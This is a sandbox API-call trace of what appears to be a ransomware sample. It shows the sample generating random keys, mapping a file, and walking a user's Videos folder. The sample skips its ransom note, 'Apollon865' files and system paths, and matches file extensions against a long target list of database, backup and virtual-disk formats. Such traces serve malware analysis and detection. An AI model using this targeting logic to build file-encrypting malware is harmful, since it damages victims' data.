	[0086.737] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=61510) returned 1
	[0086.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.738] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.738] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.738] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.738] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf350, lpName=0x0) returned 0x15c
	[0086.739] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf350) returned 0x100000
	[0086.741] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.742] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.742] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.742] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.743] CloseHandle (hObject=0x15c) returned 1
	[0086.743] CloseHandle (hObject=0x9c) returned 1
	[0086.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.745] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79bee600, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0x301ad4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x301ad4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e5e zfC0T_Di", cAlternateFileName="E5EZFC~1")) returned 1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="Apollon865.txt.exe") returned 1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2=".") returned 1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="..") returned 1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="windows") returned -1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="bootmgr") returned 1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="temp") returned -1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="pagefile.sys") returned -1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="boot") returned 1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="ids.txt") returned -1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="ntuser.dat") returned -1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="perflogs") returned -1
	[0086.745] lstrcmpiW (lpString1="e5e zfC0T_Di", lpString2="MSBuild") returned -1
	[0086.745] lstrlenW (lpString="e5e zfC0T_Di") returned 12
	[0086.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\dM1P.avi") returned 51
	[0086.745] lstrcpyW (in: lpString1=0x119e65e, lpString2="e5e zfC0T_Di" | out: lpString1="e5e zfC0T_Di") returned="e5e zfC0T_Di"
	[0086.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0086.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a920
	[0086.745] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0086.745] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0e850, ftCreationTime.dwHighDateTime=0x1d4d10b, ftLastAccessTime.dwLowDateTime=0xb1ab8790, ftLastAccessTime.dwHighDateTime=0x1d4c657, ftLastWriteTime.dwLowDateTime=0xb1ab8790, ftLastWriteTime.dwHighDateTime=0x1d4c657, nFileSizeHigh=0x0, nFileSizeLow=0xc787, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hMdjSkNImm.flv", cAlternateFileName="HMDJSK~1.FLV")) returned 1
	[0086.745] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.745] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="Apollon865.txt.exe") returned 1
	[0086.745] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2=".") returned 1
	[0086.745] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="..") returned 1
	[0086.745] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="windows") returned -1
	[0086.745] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="bootmgr") returned 1
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="temp") returned -1
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="pagefile.sys") returned -1
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="boot") returned 1
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="ids.txt") returned -1
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="ntuser.dat") returned -1
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="perflogs") returned -1
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2="MSBuild") returned -1
	[0086.746] lstrlenW (lpString="hMdjSkNImm.flv") returned 14
	[0086.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di") returned 55
	[0086.746] lstrcpyW (in: lpString1=0x119e65e, lpString2="hMdjSkNImm.flv" | out: lpString1="hMdjSkNImm.flv") returned="hMdjSkNImm.flv"
	[0086.746] lstrlenW (lpString="hMdjSkNImm.flv") returned 14
	[0086.746] lstrlenW (lpString="Apollon865") returned 10
	[0086.746] lstrcmpiW (lpString1="SkNImm.flv", lpString2="Apollon865") returned 1
	[0086.746] lstrlenW (lpString=".dll") returned 4
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2=".dll") returned 1
	[0086.746] lstrlenW (lpString=".lnk") returned 4
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2=".lnk") returned 1
	[0086.746] lstrlenW (lpString=".ini") returned 4
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2=".ini") returned 1
	[0086.746] lstrlenW (lpString=".sys") returned 4
	[0086.746] lstrcmpiW (lpString1="hMdjSkNImm.flv", lpString2=".sys") returned 1
	[0086.746] lstrlenW (lpString="hMdjSkNImm.flv") returned 14
	[0086.746] lstrlenW (lpString="bak") returned 3
	[0086.746] lstrcmpiW (lpString1="flv", lpString2="bak") returned 1
	[0086.746] lstrlenW (lpString="ba_") returned 3
	[0086.746] lstrcmpiW (lpString1="flv", lpString2="ba_") returned 1
	[0086.746] lstrlenW (lpString="dbb") returned 3
	[0086.746] lstrcmpiW (lpString1="flv", lpString2="dbb") returned 1
	[0086.746] lstrlenW (lpString="vmdk") returned 4
	[0086.746] lstrcmpiW (lpString1=".flv", lpString2="vmdk") returned -1
	[0086.746] lstrlenW (lpString="rar") returned 3
	[0086.746] lstrcmpiW (lpString1="flv", lpString2="rar") returned -1
	[0086.746] lstrlenW (lpString="zip") returned 3
	[0086.746] lstrcmpiW (lpString1="flv", lpString2="zip") returned -1
	[0086.746] lstrlenW (lpString="tgz") returned 3
	[0086.746] lstrcmpiW (lpString1="flv", lpString2="tgz") returned -1
	[0086.747] lstrlenW (lpString="vbox") returned 4
	[0086.747] lstrcmpiW (lpString1=".flv", lpString2="vbox") returned -1
	[0086.747] lstrlenW (lpString="vdi") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="vdi") returned -1
	[0086.747] lstrlenW (lpString="vhd") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="vhd") returned -1
	[0086.747] lstrlenW (lpString="vhdx") returned 4
	[0086.747] lstrcmpiW (lpString1=".flv", lpString2="vhdx") returned -1
	[0086.747] lstrlenW (lpString="avhd") returned 4
	[0086.747] lstrcmpiW (lpString1=".flv", lpString2="avhd") returned -1
	[0086.747] lstrlenW (lpString="db") returned 2
	[0086.747] lstrcmpiW (lpString1="lv", lpString2="db") returned 1
	[0086.747] lstrlenW (lpString="db2") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="db2") returned 1
	[0086.747] lstrlenW (lpString="db3") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="db3") returned 1
	[0086.747] lstrlenW (lpString="dbf") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="dbf") returned 1
	[0086.747] lstrlenW (lpString="mdf") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="mdf") returned -1
	[0086.747] lstrlenW (lpString="mdb") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="mdb") returned -1
	[0086.747] lstrlenW (lpString="sql") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="sql") returned -1
	[0086.747] lstrlenW (lpString="sqlite") returned 6
	[0086.747] lstrcmpiW (lpString1="mm.flv", lpString2="sqlite") returned -1
	[0086.747] lstrlenW (lpString="sqlite3") returned 7
	[0086.747] lstrcmpiW (lpString1="Imm.flv", lpString2="sqlite3") returned -1
	[0086.747] lstrlenW (lpString="sqlitedb") returned 8
	[0086.747] lstrcmpiW (lpString1="NImm.flv", lpString2="sqlitedb") returned -1
	[0086.747] lstrlenW (lpString="xml") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="xml") returned -1
	[0086.747] lstrlenW (lpString="$er") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="$er") returned 1
	[0086.747] lstrlenW (lpString="4dd") returned 3
	[0086.747] lstrcmpiW (lpString1="flv", lpString2="4dd") returned 1
	[0086.748] lstrlenW (lpString="4dl") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="4dl") returned 1
	[0086.748] lstrlenW (lpString="^^^") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="^^^") returned 1
	[0086.748] lstrlenW (lpString="abs") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="abs") returned 1
	[0086.748] lstrlenW (lpString="abx") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="abx") returned 1
	[0086.748] lstrlenW (lpString="accdb") returned 5
	[0086.748] lstrcmpiW (lpString1="m.flv", lpString2="accdb") returned 1
	[0086.748] lstrlenW (lpString="accdc") returned 5
	[0086.748] lstrcmpiW (lpString1="m.flv", lpString2="accdc") returned 1
	[0086.748] lstrlenW (lpString="accde") returned 5
	[0086.748] lstrcmpiW (lpString1="m.flv", lpString2="accde") returned 1
	[0086.748] lstrlenW (lpString="accdr") returned 5
	[0086.748] lstrcmpiW (lpString1="m.flv", lpString2="accdr") returned 1
	[0086.748] lstrlenW (lpString="accdt") returned 5
	[0086.748] lstrcmpiW (lpString1="m.flv", lpString2="accdt") returned 1
	[0086.748] lstrlenW (lpString="accdw") returned 5
	[0086.748] lstrcmpiW (lpString1="m.flv", lpString2="accdw") returned 1
	[0086.748] lstrlenW (lpString="accft") returned 5
	[0086.748] lstrcmpiW (lpString1="m.flv", lpString2="accft") returned 1
	[0086.748] lstrlenW (lpString="adb") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.748] lstrlenW (lpString="adb") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.748] lstrlenW (lpString="ade") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="ade") returned 1
	[0086.748] lstrlenW (lpString="adf") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="adf") returned 1
	[0086.748] lstrlenW (lpString="adn") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="adn") returned 1
	[0086.748] lstrlenW (lpString="adp") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="adp") returned 1
	[0086.748] lstrlenW (lpString="alf") returned 3
	[0086.748] lstrcmpiW (lpString1="flv", lpString2="alf") returned 1
	[0086.749] lstrlenW (lpString="ask") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="ask") returned 1
	[0086.749] lstrlenW (lpString="btr") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="btr") returned 1
	[0086.749] lstrlenW (lpString="cat") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="cat") returned 1
	[0086.749] lstrlenW (lpString="cdb") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="cdb") returned 1
	[0086.749] lstrlenW (lpString="ckp") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="ckp") returned 1
	[0086.749] lstrlenW (lpString="cma") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="cma") returned 1
	[0086.749] lstrlenW (lpString="cpd") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="cpd") returned 1
	[0086.749] lstrlenW (lpString="dacpac") returned 6
	[0086.749] lstrcmpiW (lpString1="mm.flv", lpString2="dacpac") returned 1
	[0086.749] lstrlenW (lpString="dad") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="dad") returned 1
	[0086.749] lstrlenW (lpString="dadiagrams") returned 10
	[0086.749] lstrcmpiW (lpString1="SkNImm.flv", lpString2="dadiagrams") returned 1
	[0086.749] lstrlenW (lpString="daschema") returned 8
	[0086.749] lstrcmpiW (lpString1="NImm.flv", lpString2="daschema") returned 1
	[0086.749] lstrlenW (lpString="db-journal") returned 10
	[0086.749] lstrcmpiW (lpString1="SkNImm.flv", lpString2="db-journal") returned 1
	[0086.749] lstrlenW (lpString="db-shm") returned 6
	[0086.749] lstrcmpiW (lpString1="mm.flv", lpString2="db-shm") returned 1
	[0086.749] lstrlenW (lpString="db-wal") returned 6
	[0086.749] lstrcmpiW (lpString1="mm.flv", lpString2="db-wal") returned 1
	[0086.749] lstrlenW (lpString="dbc") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="dbc") returned 1
	[0086.749] lstrlenW (lpString="dbs") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="dbs") returned 1
	[0086.749] lstrlenW (lpString="dbt") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="dbt") returned 1
	[0086.749] lstrlenW (lpString="dbv") returned 3
	[0086.749] lstrcmpiW (lpString1="flv", lpString2="dbv") returned 1
	[0086.750] lstrlenW (lpString="dbx") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="dbx") returned 1
	[0086.750] lstrlenW (lpString="dcb") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="dcb") returned 1
	[0086.750] lstrlenW (lpString="dct") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="dct") returned 1
	[0086.750] lstrlenW (lpString="dcx") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="dcx") returned 1
	[0086.750] lstrlenW (lpString="ddl") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="ddl") returned 1
	[0086.750] lstrlenW (lpString="dlis") returned 4
	[0086.750] lstrcmpiW (lpString1=".flv", lpString2="dlis") returned -1
	[0086.750] lstrlenW (lpString="dp1") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="dp1") returned 1
	[0086.750] lstrlenW (lpString="dqy") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="dqy") returned 1
	[0086.750] lstrlenW (lpString="dsk") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="dsk") returned 1
	[0086.750] lstrlenW (lpString="dsn") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="dsn") returned 1
	[0086.750] lstrlenW (lpString="dtsx") returned 4
	[0086.750] lstrcmpiW (lpString1=".flv", lpString2="dtsx") returned -1
	[0086.750] lstrlenW (lpString="dxl") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="dxl") returned 1
	[0086.750] lstrlenW (lpString="eco") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="eco") returned 1
	[0086.750] lstrlenW (lpString="ecx") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="ecx") returned 1
	[0086.750] lstrlenW (lpString="edb") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="edb") returned 1
	[0086.750] lstrlenW (lpString="epim") returned 4
	[0086.750] lstrcmpiW (lpString1=".flv", lpString2="epim") returned -1
	[0086.750] lstrlenW (lpString="fcd") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="fcd") returned 1
	[0086.750] lstrlenW (lpString="fdb") returned 3
	[0086.750] lstrcmpiW (lpString1="flv", lpString2="fdb") returned 1
	[0086.750] lstrlenW (lpString="fic") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="fic") returned 1
	[0086.751] lstrlenW (lpString="flexolibrary") returned 12
	[0086.751] lstrcmpiW (lpString1="djSkNImm.flv", lpString2="flexolibrary") returned -1
	[0086.751] lstrlenW (lpString="fm5") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="fm5") returned -1
	[0086.751] lstrlenW (lpString="fmp") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="fmp") returned -1
	[0086.751] lstrlenW (lpString="fmp12") returned 5
	[0086.751] lstrcmpiW (lpString1="m.flv", lpString2="fmp12") returned 1
	[0086.751] lstrlenW (lpString="fmpsl") returned 5
	[0086.751] lstrcmpiW (lpString1="m.flv", lpString2="fmpsl") returned 1
	[0086.751] lstrlenW (lpString="fol") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="fol") returned -1
	[0086.751] lstrlenW (lpString="fp3") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="fp3") returned -1
	[0086.751] lstrlenW (lpString="fp4") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="fp4") returned -1
	[0086.751] lstrlenW (lpString="fp5") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="fp5") returned -1
	[0086.751] lstrlenW (lpString="fp7") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="fp7") returned -1
	[0086.751] lstrlenW (lpString="fpt") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="fpt") returned -1
	[0086.751] lstrlenW (lpString="frm") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="frm") returned -1
	[0086.751] lstrlenW (lpString="gdb") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.751] lstrlenW (lpString="gdb") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.751] lstrlenW (lpString="grdb") returned 4
	[0086.751] lstrcmpiW (lpString1=".flv", lpString2="grdb") returned -1
	[0086.751] lstrlenW (lpString="gwi") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="gwi") returned -1
	[0086.751] lstrlenW (lpString="hdb") returned 3
	[0086.751] lstrcmpiW (lpString1="flv", lpString2="hdb") returned -1
	[0086.751] lstrlenW (lpString="his") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="his") returned -1
	[0086.752] lstrlenW (lpString="ib") returned 2
	[0086.752] lstrcmpiW (lpString1="lv", lpString2="ib") returned 1
	[0086.752] lstrlenW (lpString="idb") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="idb") returned -1
	[0086.752] lstrlenW (lpString="ihx") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="ihx") returned -1
	[0086.752] lstrlenW (lpString="itdb") returned 4
	[0086.752] lstrcmpiW (lpString1=".flv", lpString2="itdb") returned -1
	[0086.752] lstrlenW (lpString="itw") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="itw") returned -1
	[0086.752] lstrlenW (lpString="jet") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="jet") returned -1
	[0086.752] lstrlenW (lpString="jtx") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="jtx") returned -1
	[0086.752] lstrlenW (lpString="kdb") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="kdb") returned -1
	[0086.752] lstrlenW (lpString="kexi") returned 4
	[0086.752] lstrcmpiW (lpString1=".flv", lpString2="kexi") returned -1
	[0086.752] lstrlenW (lpString="kexic") returned 5
	[0086.752] lstrcmpiW (lpString1="m.flv", lpString2="kexic") returned 1
	[0086.752] lstrlenW (lpString="kexis") returned 5
	[0086.752] lstrcmpiW (lpString1="m.flv", lpString2="kexis") returned 1
	[0086.752] lstrlenW (lpString="lgc") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="lgc") returned -1
	[0086.752] lstrlenW (lpString="lwx") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="lwx") returned -1
	[0086.752] lstrlenW (lpString="maf") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="maf") returned -1
	[0086.752] lstrlenW (lpString="maq") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="maq") returned -1
	[0086.752] lstrlenW (lpString="mar") returned 3
	[0086.752] lstrcmpiW (lpString1="flv", lpString2="mar") returned -1
	[0086.752] lstrlenW (lpString="marshal") returned 7
	[0086.752] lstrcmpiW (lpString1="Imm.flv", lpString2="marshal") returned -1
	[0086.752] lstrlenW (lpString="mas") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="mas") returned -1
	[0086.753] lstrlenW (lpString="mav") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="mav") returned -1
	[0086.753] lstrlenW (lpString="maw") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="maw") returned -1
	[0086.753] lstrlenW (lpString="mdbhtml") returned 7
	[0086.753] lstrcmpiW (lpString1="Imm.flv", lpString2="mdbhtml") returned -1
	[0086.753] lstrlenW (lpString="mdn") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="mdn") returned -1
	[0086.753] lstrlenW (lpString="mdt") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="mdt") returned -1
	[0086.753] lstrlenW (lpString="mfd") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="mfd") returned -1
	[0086.753] lstrlenW (lpString="mpd") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="mpd") returned -1
	[0086.753] lstrlenW (lpString="mrg") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="mrg") returned -1
	[0086.753] lstrlenW (lpString="mud") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="mud") returned -1
	[0086.753] lstrlenW (lpString="mwb") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="mwb") returned -1
	[0086.753] lstrlenW (lpString="myd") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="myd") returned -1
	[0086.753] lstrlenW (lpString="ndf") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="ndf") returned -1
	[0086.753] lstrlenW (lpString="nnt") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="nnt") returned -1
	[0086.753] lstrlenW (lpString="nrmlib") returned 6
	[0086.753] lstrcmpiW (lpString1="mm.flv", lpString2="nrmlib") returned -1
	[0086.753] lstrlenW (lpString="ns2") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="ns2") returned -1
	[0086.753] lstrlenW (lpString="ns3") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="ns3") returned -1
	[0086.753] lstrlenW (lpString="ns4") returned 3
	[0086.753] lstrcmpiW (lpString1="flv", lpString2="ns4") returned -1
	[0086.754] lstrlenW (lpString="nsf") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="nsf") returned -1
	[0086.754] lstrlenW (lpString="nv") returned 2
	[0086.754] lstrcmpiW (lpString1="lv", lpString2="nv") returned -1
	[0086.754] lstrlenW (lpString="nv2") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="nv2") returned -1
	[0086.754] lstrlenW (lpString="nwdb") returned 4
	[0086.754] lstrcmpiW (lpString1=".flv", lpString2="nwdb") returned -1
	[0086.754] lstrlenW (lpString="nyf") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="nyf") returned -1
	[0086.754] lstrlenW (lpString="odb") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.754] lstrlenW (lpString="odb") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.754] lstrlenW (lpString="oqy") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="oqy") returned -1
	[0086.754] lstrlenW (lpString="ora") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="ora") returned -1
	[0086.754] lstrlenW (lpString="orx") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="orx") returned -1
	[0086.754] lstrlenW (lpString="owc") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="owc") returned -1
	[0086.754] lstrlenW (lpString="p96") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="p96") returned -1
	[0086.754] lstrlenW (lpString="p97") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="p97") returned -1
	[0086.754] lstrlenW (lpString="pan") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="pan") returned -1
	[0086.754] lstrlenW (lpString="pdb") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="pdb") returned -1
	[0086.754] lstrlenW (lpString="pdm") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="pdm") returned -1
	[0086.754] lstrlenW (lpString="pnz") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="pnz") returned -1
	[0086.754] lstrlenW (lpString="qry") returned 3
	[0086.754] lstrcmpiW (lpString1="flv", lpString2="qry") returned -1
	[0086.755] lstrlenW (lpString="qvd") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="qvd") returned -1
	[0086.755] lstrlenW (lpString="rbf") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="rbf") returned -1
	[0086.755] lstrlenW (lpString="rctd") returned 4
	[0086.755] lstrcmpiW (lpString1=".flv", lpString2="rctd") returned -1
	[0086.755] lstrlenW (lpString="rod") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="rod") returned -1
	[0086.755] lstrlenW (lpString="rodx") returned 4
	[0086.755] lstrcmpiW (lpString1=".flv", lpString2="rodx") returned -1
	[0086.755] lstrlenW (lpString="rpd") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="rpd") returned -1
